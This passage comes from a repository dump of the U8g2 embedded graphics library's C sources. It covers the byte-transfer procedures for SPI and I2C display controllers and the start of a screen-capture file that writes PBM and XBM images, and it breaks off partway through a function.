u8x8_byte_SetDC(u8x8, 1);\n      u8x8_byte_SendByte(u8x8, arg_int);\n      break;\n    case U8X8_MSG_CAD_SEND_ARG:\n      u8x8_byte_SetDC(u8x8, 1);\n      u8x8_byte_SendByte(u8x8, arg_int);\n      break;\n    case U8X8_MSG_CAD_SEND_DATA:\n      u8x8_byte_SetDC(u8x8, 0);\n      //u8x8_byte_SendBytes(u8x8, arg_int, arg_ptr);\n      //break;\n      /* fall through */\n    case U8X8_MSG_CAD_INIT:\n    case U8X8_MSG_CAD_START_TRANSFER:\n    case U8X8_MSG_CAD_END_TRANSFER:\n      return u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr);\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*\n  convert to bytes by using \n    dc = 1 for commands and args and\n    dc = 0 for data\n*/\nuint8_t u8x8_gu800_cad_110(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t *data;\n  switch(msg)\n  {\n    case U8X8_MSG_CAD_SEND_CMD:\n      u8x8_byte_SetDC(u8x8, 1);\n      u8x8_byte_StartTransfer(u8x8);\n      u8x8_byte_SendByte(u8x8, arg_int);\n      u8x8_byte_EndTransfer(u8x8);\n      break;\n    case U8X8_MSG_CAD_SEND_ARG:\n      u8x8_byte_SetDC(u8x8, 1);\n      u8x8_byte_StartTransfer(u8x8);\n      u8x8_byte_SendByte(u8x8, arg_int);\n      u8x8_byte_EndTransfer(u8x8);\n      break;\n    case U8X8_MSG_CAD_SEND_DATA:\n      u8x8_byte_SetDC(u8x8, 0);\n      data = (uint8_t *)arg_ptr;\n      while( arg_int > 0 )\n      {\n        u8x8_byte_StartTransfer(u8x8);\n        u8x8_byte_SendByte(u8x8, *data);\n        u8x8_byte_EndTransfer(u8x8);\n        data++;\n        arg_int--;\n      }\n      break;\n    case U8X8_MSG_CAD_INIT:\n      u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr);\n      break;\n    case U8X8_MSG_CAD_START_TRANSFER:\n    case U8X8_MSG_CAD_END_TRANSFER:\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*\n  convert to bytes by using \n    dc = 1 for commands and args and\n    dc = 0 for data\n    t6963\n*/\nuint8_t u8x8_cad_100(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_CAD_SEND_CMD:\n      u8x8_byte_SetDC(u8x8, 1);\n      u8x8_byte_SendByte(u8x8, arg_int);\n      break;\n    case U8X8_MSG_CAD_SEND_ARG:\n      u8x8_byte_SetDC(u8x8, 0);\n      u8x8_byte_SendByte(u8x8, arg_int);\n      break;\n    case U8X8_MSG_CAD_SEND_DATA:\n      u8x8_byte_SetDC(u8x8, 0);\n      //u8x8_byte_SendBytes(u8x8, arg_int, arg_ptr);\n      //break;\n      /* fall through */\n    case U8X8_MSG_CAD_INIT:\n    case U8X8_MSG_CAD_START_TRANSFER:\n    case U8X8_MSG_CAD_END_TRANSFER:\n      return u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr);\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*\n  convert to bytes by using \n    dc = 0 for commands and args and\n    dc = 1 for data\n*/\nuint8_t u8x8_cad_001(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_CAD_SEND_CMD:\n      u8x8_byte_SetDC(u8x8, 0);\n      u8x8_byte_SendByte(u8x8, arg_int);\n      break;\n    case U8X8_MSG_CAD_SEND_ARG:\n      u8x8_byte_SetDC(u8x8, 0);\n      u8x8_byte_SendByte(u8x8, arg_int);\n      break;\n    case U8X8_MSG_CAD_SEND_DATA:\n      u8x8_byte_SetDC(u8x8, 1);\n      //u8x8_byte_SendBytes(u8x8, arg_int, arg_ptr);\n      //break;\n      /* fall through */\n    case U8X8_MSG_CAD_INIT:\n    case U8X8_MSG_CAD_START_TRANSFER:\n    case U8X8_MSG_CAD_END_TRANSFER:\n      return u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr);\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*\n  convert to bytes by using \n    dc = 0 for commands \n    dc = 1 for args and data\n*/\nuint8_t u8x8_cad_011(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_CAD_SEND_CMD:\n      u8x8_byte_SetDC(u8x8, 0);\n      u8x8_byte_SendByte(u8x8, arg_int);\n      break;\n    case U8X8_MSG_CAD_SEND_ARG:\n      u8x8_byte_SetDC(u8x8, 1);\n      u8x8_byte_SendByte(u8x8, arg_int);\n      break;\n    case U8X8_MSG_CAD_SEND_DATA:\n      u8x8_byte_SetDC(u8x8, 1);\n      //u8x8_byte_SendBytes(u8x8, arg_int, arg_ptr);\n      //break;\n      /* fall through */\n    case U8X8_MSG_CAD_INIT:\n    case U8X8_MSG_CAD_START_TRANSFER:\n    case U8X8_MSG_CAD_END_TRANSFER:\n      return u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr);\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/* cad procedure for the ST7920 in SPI mode */\n/* u8x8_byte_SetDC is not used */\nuint8_t u8x8_cad_st7920_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t *data;\n  uint8_t b;\n  uint8_t i;\n  static uint8_t buf[16];\n  uint8_t *ptr;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_CAD_SEND_CMD:\n      u8x8_byte_SendByte(u8x8, 0x0f8);\n      u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, 1);\n      u8x8_byte_SendByte(u8x8, arg_int & 0x0f0);\n      u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, 1);\n      u8x8_byte_SendByte(u8x8, arg_int << 4);\n      u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, 1);\n      break;\n    case U8X8_MSG_CAD_SEND_ARG:\n      u8x8_byte_SendByte(u8x8, 0x0f8);\n      u8x8_byte_SendByte(u8x8, arg_int & 0x0f0);\n      u8x8_byte_SendByte(u8x8, arg_int << 4);\n      break;\n    case U8X8_MSG_CAD_SEND_DATA:\n    \n      u8x8_byte_SendByte(u8x8, 0x0fa);\n      u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, 1);\n\n      /* this loop should be optimized: multiple bytes should be sent */\n      /* u8x8_byte_SendBytes(u8x8, arg_int, arg_ptr); */\n      data = (uint8_t *)arg_ptr;\n    \n      /* the following loop increases speed by 20% */\n      while( arg_int >= 8 )\n      {\n\ti = 8;\n\tptr = buf;\n\tdo\n\t{\n\t  b = *data++;\n\t  *ptr++= b & 0x0f0;\n\t  b <<= 4;\n\t  *ptr++= b;\n\t  i--;\n\t} while( i > 0 );\n\targ_int -= 8;\n\tu8x8_byte_SendBytes(u8x8, 16, buf); \n      }\n      \n    \n      while( arg_int > 0 )\n      {\n\tb = *data;\n\tu8x8_byte_SendByte(u8x8, b & 0x0f0);\n\tu8x8_byte_SendByte(u8x8, b << 4);\n\tdata++;\n\targ_int--;\n      }\n      u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, 1);\n      break;\n    case U8X8_MSG_CAD_INIT:\n    case U8X8_MSG_CAD_START_TRANSFER:\n    case U8X8_MSG_CAD_END_TRANSFER:\n      return u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr);\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n/* cad procedure for the SSD13xx family in I2C mode */\n/* this procedure is also used by the ST7588 */\n/* u8x8_byte_SetDC is not used */\n/* U8X8_MSG_BYTE_START_TRANSFER starts i2c transfer, U8X8_MSG_BYTE_END_TRANSFER stops transfer */\n/* After transfer start, a full byte indicates command or data mode */\n\nstatic void u8x8_i2c_data_transfer(u8x8_t *u8x8, uint8_t arg_int, void *arg_ptr) U8X8_NOINLINE;\nstatic void u8x8_i2c_data_transfer(u8x8_t *u8x8, uint8_t arg_int, void *arg_ptr)\n{\n    u8x8_byte_StartTransfer(u8x8);    \n    u8x8_byte_SendByte(u8x8, 0x040);\n    u8x8->byte_cb(u8x8, U8X8_MSG_CAD_SEND_DATA, arg_int, arg_ptr);\n    u8x8_byte_EndTransfer(u8x8);\n}\n\n/* classic version: will put a start/stop condition around each command and arg */\nuint8_t u8x8_cad_ssd13xx_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t *p;\n  switch(msg)\n  {\n    case U8X8_MSG_CAD_SEND_CMD:\n    case U8X8_MSG_CAD_SEND_ARG:\n      /* 7 Nov 2016: Can this be improved?  */\n      //u8x8_byte_SetDC(u8x8, 0);\n      u8x8_byte_StartTransfer(u8x8);\n      //u8x8_byte_SendByte(u8x8, u8x8_GetI2CAddress(u8x8));\n      u8x8_byte_SendByte(u8x8, 0x000);\n      u8x8_byte_SendByte(u8x8, arg_int);\n      u8x8_byte_EndTransfer(u8x8);      \n      break;\n    case U8X8_MSG_CAD_SEND_DATA:\n      //u8x8_byte_SetDC(u8x8, 1);\n    \n      /* the FeatherWing OLED with the 32u4 transfer of long byte */\n      /* streams was not possible. This is broken down to */\n      /* smaller streams, 32 seems to be the limit... */\n      /* I guess this is related to the size of the Wire buffers in Arduino */\n      /* Unfortunately, this can not be handled in the byte level drivers, */\n      /* so this is done here. Even further, only 24 bytes will be sent, */\n      /* because there will be another byte (DC) required during the transfer */\n      p = arg_ptr;\n       while( arg_int > 24 )\n      {\n\tu8x8_i2c_data_transfer(u8x8, 24, p);\n\targ_int-=24;\n\tp+=24;\n      }\n      u8x8_i2c_data_transfer(u8x8, arg_int, p);\n      break;\n    case U8X8_MSG_CAD_INIT:\n      /* apply default i2c adr if required so that the start transfer msg can use this */\n      if ( u8x8->i2c_address == 255 )\n\tu8x8->i2c_address = 0x078;\n      return u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr);\n    case U8X8_MSG_CAD_START_TRANSFER:\n    case U8X8_MSG_CAD_END_TRANSFER:\n      /* cad transfer commands are ignored */\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n/* fast version with reduced data start/stops, issue 735 */\nuint8_t u8x8_cad_ssd13xx_fast_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  static uint8_t in_transfer = 0;\n  uint8_t *p;\n  switch(msg)\n  {\n    case U8X8_MSG_CAD_SEND_CMD:\n      /* improved version, takeover from ld7032 */\n      /* assumes, that the args of a command is not longer than 31 bytes */\n      /* speed improvement is about 4% compared to the classic version */\n      if ( in_transfer != 0 )\n\t u8x8_byte_EndTransfer(u8x8); \n      \n      u8x8_byte_StartTransfer(u8x8);\n      u8x8_byte_SendByte(u8x8, 0x000);\t/* cmd byte for ssd13xx controller */\n      u8x8_byte_SendByte(u8x8, arg_int);\n      in_transfer = 1;\n      /* lightning version: can replace the improved version from above */\n      /* the drawback of the lightning version is this: The complete init sequence */\n      /* must fit into the 32 byte Arduino Wire buffer, which might not always be the case */\n      /* speed improvement is about 6% compared to the classic version */\n      // if ( in_transfer == 0 )\n\t// {\n\t//   u8x8_byte_StartTransfer(u8x8);\n\t//   u8x8_byte_SendByte(u8x8, 0x000);\t/* cmd byte for ssd13xx controller */\n\t//   in_transfer = 1;\n\t// }\n\t//u8x8_byte_SendByte(u8x8, arg_int);\n      break;\n    case U8X8_MSG_CAD_SEND_ARG:\n      u8x8_byte_SendByte(u8x8, arg_int);\n      break;      \n    case U8X8_MSG_CAD_SEND_DATA:\n      if ( in_transfer != 0 )\n\tu8x8_byte_EndTransfer(u8x8); \n      \n    \n      /* the FeatherWing OLED with the 32u4 transfer of long byte */\n      /* streams was not possible. This is broken down to */\n      /* smaller streams, 32 seems to be the limit... */\n      /* I guess this is related to the size of the Wire buffers in Arduino */\n      /* Unfortunately, this can not be handled in the byte level drivers, */\n      /* so this is done here. Even further, only 24 bytes will be sent, */\n      /* because there will be another byte (DC) required during the transfer */\n      p = arg_ptr;\n       while( arg_int > 24 )\n      {\n\tu8x8_i2c_data_transfer(u8x8, 24, p);\n\targ_int-=24;\n\tp+=24;\n      }\n      u8x8_i2c_data_transfer(u8x8, arg_int, p);\n      in_transfer = 0;\n      break;\n    case U8X8_MSG_CAD_INIT:\n      /* apply default i2c adr if required so that the start transfer msg can use this */\n      if ( u8x8->i2c_address == 255 )\n\tu8x8->i2c_address = 0x078;\n      return u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr);\n    case U8X8_MSG_CAD_START_TRANSFER:\n      in_transfer = 0;\n      break;\n    case U8X8_MSG_CAD_END_TRANSFER:\n      if ( in_transfer != 0 )\n\tu8x8_byte_EndTransfer(u8x8); \n      in_transfer = 0;\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n\n/* the st75256 i2c driver is a copy of the ssd13xx driver, but with arg=1 */\n/* modified from cad001 (ssd13xx) to cad011 */\nuint8_t u8x8_cad_st75256_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t *p;\n  switch(msg)\n  {\n    case U8X8_MSG_CAD_SEND_CMD:\n      u8x8_byte_StartTransfer(u8x8);\n      u8x8_byte_SendByte(u8x8, 0x000);\n      u8x8_byte_SendByte(u8x8, arg_int);\n      u8x8_byte_EndTransfer(u8x8);      \n      break;\n    case U8X8_MSG_CAD_SEND_ARG:\n      u8x8_byte_StartTransfer(u8x8);\n      u8x8_byte_SendByte(u8x8, 0x040);\n      u8x8_byte_SendByte(u8x8, arg_int);\n      u8x8_byte_EndTransfer(u8x8);\n      break;\n    case U8X8_MSG_CAD_SEND_DATA:\n      /* see ssd13xx driver */\n      p = arg_ptr;\n       while( arg_int > 24 )\n      {\n\tu8x8_i2c_data_transfer(u8x8, 24, p);\n\targ_int-=24;\n\tp+=24;\n      }\n      u8x8_i2c_data_transfer(u8x8, arg_int, p);\n      break;\n    case U8X8_MSG_CAD_INIT:\n      /* apply default i2c adr if required so that the start transfer msg can use this */\n      if ( u8x8->i2c_address == 255 )\n\tu8x8->i2c_address = 0x078;\t/* ST75256, often this is 0x07e */\n      return u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr);\n    case U8X8_MSG_CAD_START_TRANSFER:\n    case U8X8_MSG_CAD_END_TRANSFER:\n      /* cad transfer commands are ignored */\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/* cad i2c procedure for the ld7032 controller */\n/* Issue https://github.com/olikraus/u8g2/issues/865 mentiones, that I2C does not work */\n/* Workaround is to remove the while loop (or increase the value in the condition) */\nuint8_t u8x8_cad_ld7032_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  static uint8_t in_transfer = 0;\n  uint8_t *p;\n  switch(msg)\n  {\n    case U8X8_MSG_CAD_SEND_CMD:\n      if ( in_transfer != 0 )\n\tu8x8_byte_EndTransfer(u8x8); \n      u8x8_byte_StartTransfer(u8x8);\n      u8x8_byte_SendByte(u8x8, arg_int);\n      in_transfer = 1;\n      break;\n    case U8X8_MSG_CAD_SEND_ARG:\n      u8x8_byte_SendByte(u8x8, arg_int);\n      break;\n    case U8X8_MSG_CAD_SEND_DATA:\n      //u8x8_byte_SetDC(u8x8, 1);\n    \n      /* the FeatherWing OLED with the 32u4 transfer of long byte */\n      /* streams was not possible. This is broken down to */\n      /* smaller streams, 32 seems to be the limit... */\n      /* I guess this is related to the size of the Wire buffers in Arduino */\n      /* Unfortunately, this can not be handled in the byte level drivers, */\n      /* so this is done here. Even further, only 24 bytes will be sent, */\n      /* because there will be another byte (DC) required during the transfer */\n      p = arg_ptr;\n       while( arg_int > 24 )\n      {\n\tu8x8->byte_cb(u8x8, U8X8_MSG_CAD_SEND_DATA, 24, p);\n\targ_int-=24;\n\tp+=24;\n\tu8x8_byte_EndTransfer(u8x8); \n\tu8x8_byte_StartTransfer(u8x8);\n\tu8x8_byte_SendByte(u8x8, 0x08);\t/* data write for LD7032 */\n      }\n      u8x8->byte_cb(u8x8, U8X8_MSG_CAD_SEND_DATA, arg_int, p);\n      break;\n    case U8X8_MSG_CAD_INIT:\n      /* apply default i2c adr if required so that the start transfer msg can use this */\n      if ( u8x8->i2c_address == 255 )\n\tu8x8->i2c_address = 0x060;\n      return u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr);\n    case U8X8_MSG_CAD_START_TRANSFER:\n      in_transfer = 0;\n      break;\n    case U8X8_MSG_CAD_END_TRANSFER:\n      if ( in_transfer != 0 )\n\tu8x8_byte_EndTransfer(u8x8); \n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/* cad procedure for the UC16xx family in I2C mode */\n/* u8x8_byte_SetDC is not used */\n/* DC bit is encoded into the adr byte, structure is CAD001 */\nuint8_t u8x8_cad_uc16xx_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  static uint8_t in_transfer = 0;\t\n  static uint8_t is_data = 0;\n  uint8_t *p;\n  switch(msg)\n  {\n    case U8X8_MSG_CAD_SEND_CMD:\n    case U8X8_MSG_CAD_SEND_ARG:\n      if ( in_transfer != 0 )\n      {\n\tif ( is_data != 0 )\n\t{\n\t  /* transfer mode is active, but data transfer */\n\t  u8x8_byte_EndTransfer(u8x8); \n\t  /* clear the lowest two bits of the adr */\n\t  u8x8_SetI2CAddress( u8x8, u8x8_GetI2CAddress(u8x8)&0x0fc );\n\t  u8x8_byte_StartTransfer(u8x8); \n\t}\n      }\n      else\n      {\n\t/* clear the lowest two bits of the adr */\n\tu8x8_SetI2CAddress( u8x8, u8x8_GetI2CAddress(u8x8)&0x0fc );\n\tu8x8_byte_StartTransfer(u8x8);\n      }\n      u8x8_byte_SendByte(u8x8, arg_int);\n      in_transfer = 1;\n      // is_data = 0;  // 20 Jun 2021: I assume that this is missing here\n      break;\n    case U8X8_MSG_CAD_SEND_DATA:\n      if ( in_transfer != 0 )\n      {\n\tif ( is_data == 0 )\n\t{\n\t  /* transfer mode is active, but data transfer */\n\t  u8x8_byte_EndTransfer(u8x8); \n\t  /* clear the lowest two bits of the adr */\n\t  u8x8_SetI2CAddress( u8x8, (u8x8_GetI2CAddress(u8x8)&0x0fc)|2 );\n\t  u8x8_byte_StartTransfer(u8x8); \n\t}\n      }\n      else\n      {\n\t/* clear the lowest two bits of the adr */\n\tu8x8_SetI2CAddress( u8x8, (u8x8_GetI2CAddress(u8x8)&0x0fc)|2 );\n\tu8x8_byte_StartTransfer(u8x8);\n      }\n      in_transfer = 1;\n      // is_data = 1;  // 20 Jun 2021: I assume that this is missing here\n      \n      p = arg_ptr;\n      while( arg_int > 24 )\n      {\n\tu8x8->byte_cb(u8x8, U8X8_MSG_CAD_SEND_DATA, 24, p);\n\targ_int-=24;\n\tp+=24;\n\tu8x8_byte_EndTransfer(u8x8); \n\tu8x8_byte_StartTransfer(u8x8);\n      }\n      u8x8->byte_cb(u8x8, U8X8_MSG_CAD_SEND_DATA, arg_int, p);\n      \n      break;\n    case U8X8_MSG_CAD_INIT:\n      /* apply default i2c adr if required so that the start transfer msg can use this */\n      if ( u8x8->i2c_address == 255 )\n\tu8x8->i2c_address = 0x070;\n      return u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr);\n    case U8X8_MSG_CAD_START_TRANSFER:\n      in_transfer = 0;    \n      /* actual start is delayed, because we do not whether this is data or cmd transfer */\n      break;\n    case U8X8_MSG_CAD_END_TRANSFER:\n      if ( in_transfer != 0 )\n\tu8x8_byte_EndTransfer(u8x8);\n      in_transfer = 0;\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n/* cad procedure for the UC1638 in I2C mode */\n/* same as  u8x8_cad_uc16xx_i2c but CAD structure is CAD011 */\nuint8_t u8x8_cad_uc1638_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  static uint8_t in_transfer = 0;\t\n  static uint8_t is_data = 0;\n  uint8_t *p;\n  switch(msg)\n  {\n    case U8X8_MSG_CAD_SEND_CMD:\n      if ( in_transfer != 0 )\n      {\n\tif ( is_data != 0 )\n\t{\n\t  /* transfer mode is active, but data transfer */\n\t  u8x8_byte_EndTransfer(u8x8); \n\t  /* clear the lowest two bits of the adr */\n\t  u8x8_SetI2CAddress( u8x8, u8x8_GetI2CAddress(u8x8)&0x0fc );\n\t  u8x8_byte_StartTransfer(u8x8); \n\t}\n      }\n      else\n      {\n\t/* clear the lowest two bits of the adr */\n\tu8x8_SetI2CAddress( u8x8, u8x8_GetI2CAddress(u8x8)&0x0fc );\n\tu8x8_byte_StartTransfer(u8x8);\n      }\n      u8x8_byte_SendByte(u8x8, arg_int);\n      in_transfer = 1;\n      is_data = 0;\n      break;\n    case U8X8_MSG_CAD_SEND_ARG:\n      if ( in_transfer != 0 )\n      {\n\tif ( is_data == 0 )\n\t{\n\t  /* transfer mode is active, but data transfer */\n\t  u8x8_byte_EndTransfer(u8x8); \n\t  /* clear the lowest two bits of the adr */\n\t  u8x8_SetI2CAddress( u8x8, (u8x8_GetI2CAddress(u8x8)&0x0fc)|2 );\n\t  u8x8_byte_StartTransfer(u8x8); \n\t}\n      }\n      else\n      {\n\t/* clear the lowest two bits of the adr */\n\tu8x8_SetI2CAddress( u8x8, (u8x8_GetI2CAddress(u8x8)&0x0fc)|2 );\n\tu8x8_byte_StartTransfer(u8x8);\n      }\n      u8x8_byte_SendByte(u8x8, arg_int);\n      in_transfer = 1;\n      is_data = 1;\n      break;\n    case U8X8_MSG_CAD_SEND_DATA:\n      if ( in_transfer != 0 )\n      {\n\tif ( is_data == 0 )\n\t{\n\t  /* transfer mode is active, but data transfer */\n\t  u8x8_byte_EndTransfer(u8x8); \n\t  /* clear the lowest two bits of the adr */\n\t  u8x8_SetI2CAddress( u8x8, (u8x8_GetI2CAddress(u8x8)&0x0fc)|2 );\n\t  u8x8_byte_StartTransfer(u8x8); \n\t}\n      }\n      else\n      {\n\t/* clear the lowest two bits of the adr */\n\tu8x8_SetI2CAddress( u8x8, (u8x8_GetI2CAddress(u8x8)&0x0fc)|2 );\n\tu8x8_byte_StartTransfer(u8x8);\n      }\n      in_transfer = 1;\n      is_data = 1;\n      \n      p = arg_ptr;\n      while( arg_int > 24 )\n      {\n\tu8x8->byte_cb(u8x8, U8X8_MSG_CAD_SEND_DATA, 24, p);\n\targ_int-=24;\n\tp+=24;\n\tu8x8_byte_EndTransfer(u8x8); \n\tu8x8_byte_StartTransfer(u8x8);\n      }\n      u8x8->byte_cb(u8x8, U8X8_MSG_CAD_SEND_DATA, arg_int, p);\n      \n      break;\n    case U8X8_MSG_CAD_INIT:\n      /* apply default i2c adr if required so that the start transfer msg can use this */\n      if ( u8x8->i2c_address == 255 )\n\tu8x8->i2c_address = 0x078;  /* see also https://github.com/olikraus/u8g2/issues/371 for a discussion on this value */\n      return u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr);\n    case U8X8_MSG_CAD_START_TRANSFER:\n      in_transfer = 0;    \n      /* actual start is delayed, because we do not whether this is data or cmd transfer */\n      break;\n    case U8X8_MSG_CAD_END_TRANSFER:\n      if ( in_transfer != 0 )\n\tu8x8_byte_EndTransfer(u8x8);\n      in_transfer = 0;\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_capture.c",
    "content": "/*\n\n  u8x8_capture.c\n  \n  Screen capture funcion\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n*/\n\n#include \"u8x8.h\"\n\n/*========================================================*/\n\n\n/* vertical top lsb memory architecture */\nuint8_t u8x8_capture_get_pixel_1(uint16_t x, uint16_t y, uint8_t *dest_ptr, uint8_t tile_width)\n{\n  //uint8_t *dest_ptr = capture->buffer;\n  //if ( dest_ptr == NULL )\n    //return 0;\n  //dest_ptr += (y/8)*capture->tile_width*8;\n  dest_ptr += (y/8)*tile_width*8;\n  y &= 7;\n  dest_ptr += x;\n  if ( (*dest_ptr & (1<<y)) == 0 )\n    return 0;\n  return 1;\n}\n\n/* horizontal right lsb memory architecture */\n/* SH1122, LD7032, ST7920, ST7986, LC7981, T6963, SED1330, RA8835, MAX7219, LS0 */ \nuint8_t u8x8_capture_get_pixel_2(uint16_t x, uint16_t y, uint8_t *dest_ptr, uint8_t tile_width)\n{\n  //uint8_t *dest_ptr = capture->buffer;\n  //if ( dest_ptr == NULL )\n  //  return 0;\n  //dest_ptr += y*capture->tile_width;\n  y *= tile_width;\n  dest_ptr += y;\n  dest_ptr += x>>3;\n  if ( (*dest_ptr & (128>>(x&7))) == 0 )\n    return 0;\n  return 1;\n}\n\nvoid u8x8_capture_write_pbm_pre(uint8_t tile_width, uint8_t tile_height, void (*out)(const char *s))\n{\n  out(\"P1\\n\");\n  out(u8x8_utoa((uint16_t)tile_width*8));\n  out(\"\\n\");\n  out(u8x8_utoa((uint16_t)tile_height*8));\n  out(\"\\n\");\n}\n\n\nvoid u8x8_capture_write_pbm_buffer(uint8_t *buffer, uint8_t tile_width, uint8_t tile_height, uint8_t (*get_pixel)(uint16_t x, uint16_t y, uint8_t *dest_ptr, uint8_t tile_width), void (*out)(const char *s))\n{\n  uint16_t x, y;\n  uint16_t w, h;\n\n  w = tile_width;\n  w *= 8;\n  h = tile_height;\n  h *= 8;\n    \n  for( y = 0; y < h; y++)\n  {\n    for( x = 0; x < w; x++)\n    {\n      if ( get_pixel(x, y, buffer, tile_width) )\n\tout(\"1\");\n      else\n\tout(\"0\"); \t  \n    }\n    out(\"\\n\");\n  }\n}\n\n\n\n\nvoid u8x8_capture_write_xbm_pre(uint8_t tile_width, uint8_t tile_height, void (*out)(const char *s))\n{\n  out(\"#define xbm_width \");\n  out(u8x8_utoa((uint16_t)tile_width*8));\n  out(\"\\n\");\n  out(\"#define xbm_height \");\n  out(u8x8_utoa((uint16_t)tile_height*8));\n  out(\"\\n\");  \n  out(\"static unsigned char xbm_bits[] = {\\n\");  \n}\n\nvoid u8x8_capture_write_xbm_buffer(uint8_t *buffer, uint8_t tile_width, uint8_t tile_height, uint8_t (*get_pixel)(uint16_t x, uint16_t y, uint8_t *dest_ptr, uint8_t tile_width), void (*out)(const char *s))\n{\n  uint16_t x, y;\n  uint16_t w, h;\n  uint8_t v, b;\n  char s[2];\n  s[1] = '\\0';\n\n  w = tile_width;\n  w *= 8;\n  h = tile_height;\n  h *= 8;\n\n  y = 0;\n  for(;;)\n  {\n    x = 0;\n    for(;;)\n    {\n      v = 0;\n      for( b = 0; b < 8; b++ )\n      {\n\tv <<= 1;\n\tif ( get_pixel(x+7-b, y, buffer, tile_width) )\n\t  v |= 1;\n      }\n      out(\"0x\");\n      s[0] = (v>>4);\n      if ( s[0] <= 9 )\n\ts[0] += '0';\n      else\n\ts[0] += 'a'-10;\n      out(s);\n      s[0] = (v&15);\n      if ( s[0] <= 9 )\n\ts[0] += '0';\n      else\n\ts[0] += 'a'-10;\n      out(s);\n      x += 8;\n      if ( x >= w )\n\tbreak;\n      out(\",\");\n    }\n    y++;\n    if ( y >= h )\n      break;\n    out(\",\");\n    out(\"\\n\");\n  }\n  out(\"};\\n\");\n  \n}\n\n\n\n/*========================================================*/\n\n#ifdef NOT_YET_IMPLEMENTED_U8X8_SCREEN_CAPTURE\n\nstruct _u8x8_capture_struct\n{\n  u8x8_msg_cb old_cb;\n  uint8_t *buffer;\t/* tile_width*tile_height*8 bytes */\n  uint8_t tile_width;\n  uint8_t tile_height;\n};\ntypedef struct _u8x8_capture_struct u8x8_capture_t;\n\n\nu8x8_capture_t u8x8_capture;\n\n\nstatic void u8x8_capture_memory_copy(uint8_t *dest, uint8_t *src, uint16_t cnt)\n{\n  while( cnt > 0 )\n  {\n    *dest++ = *src++;\n    cnt--;\n  }\n}\n\nstatic void u8x8_capture_DrawTiles(u8x8_capture_t *capture, uint8_t tx, uint8_t ty, uint8_t tile_cnt, uint8_t *tile_ptr)\n{\n  uint8_t *dest_ptr = capture->buffer;\n  //printf(\"tile pos: %d %d, cnt=%d\\n\", tx, ty, 